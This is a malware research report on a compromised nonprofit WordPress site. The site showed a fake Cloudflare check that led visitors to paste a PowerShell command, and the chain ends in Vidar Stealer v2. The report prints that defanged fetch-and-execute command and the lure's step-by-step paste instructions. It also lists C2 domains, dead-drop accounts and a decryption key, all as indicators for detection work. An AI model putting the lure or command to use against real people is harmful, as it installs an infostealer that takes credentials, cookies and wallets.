Malware research
ThaiCham website compromise: from a fake Cloudflare check to Vidar Stealer v2.
A legitimate business website showed visitors a polished verification prompt. The copied command led through PowerShell, a Polygon-based resolver and a signed loader to Vidar Stealer v2.
A familiar page changed the stakes
The address bar still showed the site people intended to visit.
A visitor could arrive at ThaiCham with a normal purpose and little reason to suspect a malware-delivery chain. ThaiCham is a real nonprofit business organization founded in 1999. The interruption looked like a routine Cloudflare security check.
The page then asked for one more verification step. Its instructions were polished and specific: press Win+X, choose Terminal or press I, paste, and press Enter. The text waiting on the clipboard was not a verification code. It was a PowerShell command.
This direct-shell handoff is commonly described as TermFix, part of the broader ClickFix family of social-engineering techniques. It does not need a browser exploit. It asks a person to move attacker-supplied text out of the browser and into a command shell, where Windows treats it as an instruction.
The browser showed a security check. The clipboard carried the first stage of an infostealer chain.
iex(irm 'hxxps[:]//tioiaosod[.]icu/hex/traffic')The compromised surface
WordPress supplied reach, but the initial access path remains unknown.
The site exposed a broad WordPress stack, including WordPress 7.1, Elementor and several extension plugins. Those versions define an attack surface, but they do not establish how access was obtained. The injected material could have arrived through stolen administrator access, a vulnerable component, a malicious plugin, a database modification or another server-side path.
Hidden user row
tr#user-8, tr#user_8 was targeted by CSS using display:none !important. This warrants inspection of WordPress user ID 8 but is not proof by itself.
Uploaded custom script
/wp-content/uploads/hm_custom_css_js/custom.js was identified as a path requiring review.
SEO-spam doorways
Indexed URLs matching /?d={NUMERIC_ID} served unrelated product content, indicating a separate cloaking or doorway pattern on the same host.
Two injected branches
The active TermFix interface and the Polygon resolver were separate components in the compromised page, not redirects from one another.
From the page to the payload
Two browser-side branches converged on a layered Windows delivery chain.
The active kit came from norediam[.]com. It detected the operating system, rendered the fake verification interface, wrote the command to the clipboard, recorded copy events and polled approximately every four seconds for backend-confirmed execution. It used campaign token bbb5e2dc73837d5eb83c2e23285a8cac3532083e.
A separate mirror loader listed triapfog[.]com, iocriotao[.]icu and mioiooo[.]icu. Its error path incremented the index twice, so a failure at the first mirror skipped the second and attempted the third. The empty 403 responses from those mirrors did not initiate the Polygon requests.
The independent inline loader decoded its JavaScript through XOR, Base64 and a second XOR step. It called Polygon contract 0xB6bC9e1D0b2fB96Ab7C47E04Cb0BE477410bC1f2 with selector 0xb68d1809. The ABI-decoded result was hxxps[:]//fingerprint-verification[.]info, which supplied the fingerprint and payload API.
PowerShell then decoded additional XOR and Base64 layers before producing a 4,678,080-byte packed PE. The file was signed under Frost Cascade Analytics with a self-issued certificate used as publisher camouflage. Static unpacking recovered an inner PE and a Vidar Stealer v2 configuration.
Recovered Vidar findings
Version 3.1 used public profiles, a resolved primary C2, an encrypted fallback and a broad collection set.
The enabled configuration contained build ID 69e48709a4a5416ecb9b45ff43404ee8, marker h61sh and three primary dead drops across Telegram, Epic Games and Steam. The primary Telegram resolver decoded to uza[.]123ful[.]net. A compiled fallback configuration used marker x4tte. Its value ENC:4986faebe9027990e83cf5b387f83e33b8 decrypted with a SHA-256-derived repeating XOR key to dez[.]sm188dnsx[.]top.
The recovered functions cover the material that makes an infostealer commercially useful: browser credentials and cookies, application data, cryptocurrency wallets, selected files, screenshots and host details.
Browser access
Saved credentials, session cookies, autofill entries, browsing data and payment-card details.
Cryptocurrency
Wallet files, wallet extensions and other material associated with cryptocurrency accounts.
Application access
Credentials and data from supported desktop applications and messaging clients.
Personal files
Selected local files together with screenshots of the desktop.
Host profiling
System, process and software details used to describe the infected computer.
Collection and transfer
Selected material packaged for rapid transfer to attacker-controlled infrastructure.
Credentials can support account takeover. Session cookies can preserve an already authenticated browser session. Wallet material can expose savings, and personal files can become material for fraud, extortion or resale. What began as a verification prompt was designed to turn a computer's stored trust into a portable package.
Technical recap
The delivery chain in seven steps.
- Compromised surface
An injected fake Cloudflare workflow appeared on the legitimate ThaiCham WordPress site.
- Human handoff
The TermFix flow copied PowerShell and instructed Win+X, Terminal or I, Ctrl+V and Enter.
- Kit and telemetry
norediam[.]comrendered the interface, tracked copy events and polled execution state. - Parallel resolver
A separate inline loader queried a Polygon smart contract for current fingerprint infrastructure.
- PowerShell staging
Integer-array XOR, Base64 and script-block execution unpacked several script stages.
- Native loader
A packed, self-signed outer PE concealed the recovered inner payload.
- Vidar Stealer v2
The recovered version 3.1 configuration used public-profile dead drops, resolved
uza[.]123ful[.]netas its primary C2 and retained an encrypted fallback C2.
Technique mapping
MITRE ATT&CK coverage.
| Technique | ID | Campaign behavior |
|---|---|---|
| Drive-by Compromise | T1189 | A compromised legitimate website presented the malicious verification workflow. |
| Masquerading | T1036 | The lure impersonated Cloudflare security verification. |
| User Execution | T1204 | The visitor was instructed to run text supplied through the clipboard. |
| PowerShell | T1059.001 | PowerShell downloaded, decoded and executed the staged payload. |
| Ingress Tool Transfer | T1105 | Several stages and the portable executable were retrieved from remote infrastructure. |
| Obfuscated/Compressed Files and Information | T1027 | JavaScript, PowerShell and PE content used XOR, Base64, packing and layered encoding. |
| Web Service | T1102 | Telegram, Epic Games and Steam profiles were used as resolver and dead-drop services. |
| Credentials from Web Browsers | T1555.003 | Vidar targets credentials stored by web browsers. |
| Steal Web Session Cookie | T1539 | Vidar targets browser session cookies. |
| System Information Discovery | T1082 | The malware profiles the host. |
| Process Discovery | T1057 | The Vidar family inventories running processes. |
| File and Directory Discovery | T1083 | File-system locations are searched for targeted data. |
| Screen Capture | T1113 | The recovered capability set includes desktop screenshots. |
| Data from Local System | T1005 | Local files and application data are collected. |
Detection and hunting
Match the campaign-specific joins, not the legitimate services around them.
Exact infrastructure
Prioritize the malicious domains and hashes in the appendix. Correlate browser activity with interactive PowerShell or Windows Terminal and network access to tioiaosod[.]icu.
PowerShell content
Review Script Block Logging event 4104, AMSI, console history, terminal launches, suspicious files under %TEMP%, and powershell.exe or pwsh.exe network activity.
Polygon pivot
Hunt browser-originated eth_call requests containing the exact contract and selector. Do not block public Polygon RPC providers globally.
WordPress review
Search code and database content for the lure domains, contract, selector, user-8, user_8 and the listed custom JavaScript path. Review users, plugins, themes, uploads, options and custom CSS records.
Defanged appendix
Complete public indicators of compromise.
The ThaiCham domain is the compromised delivery location, not attacker ownership. Victim and internal organization identifiers are excluded. Shared services appear only as precise hunt context.
Malicious network infrastructure
| Role | Indicator | Context |
|---|---|---|
| Compromised host | thaichamvn[.]org | Legitimate ThaiCham site that displayed the injected lure and loaders. Context only, not attacker ownership. |
| TermFix domain | norediam[.]com | Domain serving the active kit and telemetry. |
| TermFix kit | hxxps[:]//norediam[.]com/traffic/api | Active fake-verification interface, copy and execution telemetry, and status polling. |
| Tracking pattern | hxxps[:]//norediam[.]com/traffic/api?t={TOKEN}&track=1&event={EVENT}&domain={DOMAIN}&os={OS} | Campaign, origin, event and operating-system tracking. |
| Traffic-gate domain | triapfog[.]com | First dynamically attempted alternate JavaScript host. |
| Traffic-gate mirror | hxxps[:]//triapfog[.]com/Traffic/api | First dynamically attempted alternate JavaScript endpoint. |
| Traffic-gate domain | iocriotao[.]icu | Configured mirror skipped by the loader's double-increment error path. |
| Traffic-gate mirror | hxxps[:]//iocriotao[.]icu/Traffic/api | Configured mirror skipped by the loader's double-increment error path. |
| Traffic-gate domain | mioiooo[.]icu | Fallback host attempted after triapfog failed. |
| Traffic-gate mirror | hxxps[:]//mioiooo[.]icu/Traffic/api | Fallback attempted after triapfog failed. |
| PowerShell staging domain | tioiaosod[.]icu | Hosted the PowerShell content copied by the TermFix kit. |
| PowerShell stage | hxxps[:]//tioiaosod[.]icu/hex/traffic | Initial content retrieved by the terminal-executed PowerShell command. |
| Fingerprint domain | fingerprint-verification[.]info | Hostname resolved through the Polygon contract. |
| Fingerprint API | hxxps[:]//fingerprint-verification[.]info/api.php | Host resolved through Polygon and used for fingerprint and payload authorization. |
| Resolved primary C2 | uza[.]123ful[.]net | Vidar C2 hostname decoded from the primary Telegram resolver. |
| Resolved primary C2 | hxxps[:]//uza[.]123ful[.]net | Normalized URL decoded from the primary Telegram resolver. |
| Recovered fallback C2 | dez[.]sm188dnsx[.]top | Fallback Vidar C2 hostname decrypted from the embedded configuration. |
| Recovered fallback C2 | hxxps[:]//dez[.]sm188dnsx[.]top | Fallback Vidar C2 hostname recovered from the encrypted configuration. |
Blockchain indicators
| Type | Indicator | Purpose |
|---|---|---|
| Polygon contract | 0xB6bC9e1D0b2fB96Ab7C47E04Cb0BE477410bC1f2 | Stored the current fingerprint and payload infrastructure value. |
| Function selector | 0xb68d1809 | Contract method invoked through eth_call. |
| RPC method | eth_call | Read the value without an on-chain transaction. |
| Contract result | hxxps[:]//fingerprint-verification[.]info | ABI-decoded hostname returned by the contract. |
Shared Polygon RPC infrastructure: hunt only
| Endpoint | Treatment |
|---|---|
hxxps[:]//polygon-public[.]nodies[.]app | Legitimate shared RPC service. Match the exact contract and selector; do not block globally. |
hxxps[:]//1rpc[.]io/matic | Legitimate shared RPC service. Match the exact contract and selector; do not block globally. |
hxxps[:]//polygon[.]gateway[.]tenderly[.]co | Legitimate shared RPC service. Match the exact contract and selector; do not block globally. |
hxxps[:]//polygon-mainnet[.]public[.]blastapi[.]io | Legitimate shared RPC service. Match the exact contract and selector; do not block globally. |
hxxps[:]//polygon[.]drpc[.]org | Legitimate shared RPC service. Match the exact contract and selector; do not block globally. |
hxxps[:]//rpc[.]ankr[.]com/polygon | Legitimate shared RPC service. Match the exact contract and selector; do not block globally. |
hxxps[:]//polygon-bor-rpc[.]publicnode[.]com | Legitimate shared RPC service. Match the exact contract and selector; do not block globally. |
hxxps[:]//rpc-mainnet[.]matic[.]quiknode[.]pro | Legitimate shared RPC service. Match the exact contract and selector; do not block globally. |
Vidar dead drops and configuration
| Type | Indicator | Purpose |
|---|---|---|
| Configuration version | 3.1 | Version stored in both recovered configurations. |
| Primary config key | 9ca499411f7617c76add723433028260 | Repeating XOR key for the enabled configuration. |
| Primary build ID | 69e48709a4a5416ecb9b45ff43404ee8 | Enabled Vidar build or campaign identifier. |
| Primary marker | h61sh | Separator searched for in primary dead-drop responses. |
| Telegram dead drop | hxxps[:]//telegram[.]me/s11yme | First enabled primary resolver. |
| Resolved Telegram C2 | uza[.]123ful[.]net | Primary C2 hostname decoded from the Telegram resolver. |
| Normalized primary C2 URL | hxxps[:]//uza[.]123ful[.]net | Normalized URL for the decoded primary C2. |
| Epic dead drop | hxxps[:]//dev[.]epicgames[.]com/community/api/user_profiles/profile[.]json?hash_id=roAjr | Second enabled primary resolver. |
| Primary Epic hash | roAjr | Epic profile identifier. |
| Steam dead drop | hxxps[:]//steamcommunity[.]com/profiles/76561198652917381 | Third enabled primary resolver. |
| SteamID64 | 76561198652917381 | Specific Steam account identifier. |
| Steam3 ID | [U:1:692651653] | Normalized Steam account identifier. |
| Shared resolver handle | s11yme | Handle reused by the Telegram and Steam accounts. |
| Fallback build ID | 99b11b37a468c7431dc2b824bd8a47fb | Compiled fallback build identifier. |
| Fallback Epic dead drop | hxxps[:]//dev[.]epicgames[.]com/community/api/user_profiles/profile[.]json?hash_id=YmbKZ | Compiled fallback resolver. |
| Fallback Epic hash | YmbKZ | Fallback profile identifier. |
| Epic numeric ID | 2028287 | Fallback Epic profile record ID. |
| Epic username | m1duus | Fallback dead-drop account username. |
| Epic display name | Mduus | Fallback dead-drop account display name. |
| Fallback marker | x4tte | Separator preceding the encrypted fallback C2. |
| Fallback value | x4tte ENC:4986faebe9027990e83cf5b387f83e33b8 | Exact recovered Epic profile value. |
| Encrypted C2 | 4986faebe9027990e83cf5b387f83e33b8 | Hex ciphertext decoded to the fallback C2. |
| Key seed | Glasikprostik | Embedded input to SHA-256 key derivation. |
| Derived XOR key | 2de380c59a6f48a8d0589bc0ffd64a5cc8faa01c87a69e5a9f1ec9777eb74cbe | Key used to decrypt the fallback C2. |
Campaign and session indicators
| Type | Indicator | Purpose |
|---|---|---|
| Campaign token | bbb5e2dc73837d5eb83c2e23285a8cac3532083e | Used in tracking requests and local storage. |
| Fingerprint key | 8402fb1338daab6a166e91aa8c92a20798acfa98fb75c5a2 | Passed to the resolved API. |
| Ray/session value | 7dadf2021b531ade | Correlated the lure, a PowerShell stage comment and the API request. |
| API action | dl | Requested download authorization or content. |
| API response | 43165f5944584541465d48431307520843140c471b4c | Hex response returned by the fingerprint API. |
| Local-storage key | captcha_copied_bbb5e2dc73837d5eb83c2e23285a8cac3532083e | Recorded copied-command status. |
| Local-storage key | captcha_executed_bbb5e2dc73837d5eb83c2e23285a8cac3532083e | Recorded backend-confirmed execution status. |
SHA-256 file and content hashes
| Artifact | SHA-256 | Purpose |
|---|---|---|
| clickfix-stage2.bin | 01aa1e18fa983e75153102f357363c9fececb737fbe2dd28bf8c9f025d175df5 | Obfuscated PowerShell second stage. |
| clickfix-payload.bin | 6c379689e10f406356c7281e93410fdb0bc2d3311d3b83b9c2164537938fc6f2 | 4,678,080-byte signed and packed outer PE. |
| Recovered inner PE | c94440611f0a6407500b2312a4500ed73f27dbdfaa7f4cd503b80d95c32aa1fd | Statically unpacked Vidar payload. |
| Decoded blockchain loader | 1ece3894de89ecf4e70170d6402559dba346ea2ef286452d93766f8c0a8e928f | Decoded inline Polygon loader. |
| 43-byte clipboard command | 63d8f873f442256eee86e8ae9fa1a1eb29034fa3b68c9d3df7ae2165dd36e863 | Hash of the irm pipe-to-iex form. |
| 44-byte clipboard command | 0161e86ffa8525639a8e011269382b5fe713f76c152af1d1b80d0aa192a4dc6a | Hash of the iex(irm ...) form. |
Local artifacts
| Defanged path | Purpose |
|---|---|
%TEMP%\clickfix-stage[.]ps1 | Initial decoded PowerShell stage. |
%TEMP%\clickfix-stage2[.]bin | Saved second-stage PowerShell content. |
%TEMP%\clickfix-payload[.]bin | Final downloaded portable executable. |
Certificate indicators
| Field | Indicator | Purpose |
|---|---|---|
| Subject and issuer | CN=Frost Cascade Analytics, O=Frost Cascade Analytics, C=US | Self-issued signing identity used as publisher camouflage. |
| Serial | 00E3C60B18EFE9E8459F4673BD76CC8D5E | Signer certificate serial number. |
| SHA-1 thumbprint | 3038031EA716FF360C875C7E52AEB30D08FAC1B2 | Signer certificate thumbprint. |
| Validity | 2026-08-18 12:36:16 to 2027-08-25 12:36:16 | Validity window embedded in the signer certificate. |
Infrastructure context
| Indicator | Purpose and treatment |
|---|---|
43[.]229[.]134[.]69 | Passive or shared hosting association for ThaiCham. Enrichment only, not suitable for broad blocking. |
WordPress user ID 8 | Account targeted by the suspicious CSS hiding rule. Investigate on the server. |
/wp-content/uploads/hm_custom_css_js/custom.js | Uploaded JavaScript path requiring review on the compromised site. |
hxxps[:]//thaichamvn[.]org/?d={NUMERIC_ID} | SEO-spam doorway pattern indexed on the compromised site. |
Benign and shared-service exclusions
| Indicator or class | Reason for exclusion |
|---|---|
77[.]111[.]102[.]201 | Microsoft Delivery Optimization or cache traffic in the capture. |
au[.]download[.]windowsupdate[.]com | Legitimate Windows Update infrastructure. |
www[.]youtube[.]com | Legitimate embedded-video traffic. |
jnn-pa[.]googleapis[.]com | Google and YouTube supporting traffic. |
Global Steam or Epic blocking | Match the listed profile IDs and paths instead of blocking legitimate platforms. |
Global Polygon RPC blocking | Match the exact contract and selector instead of blocking shared blockchain services. |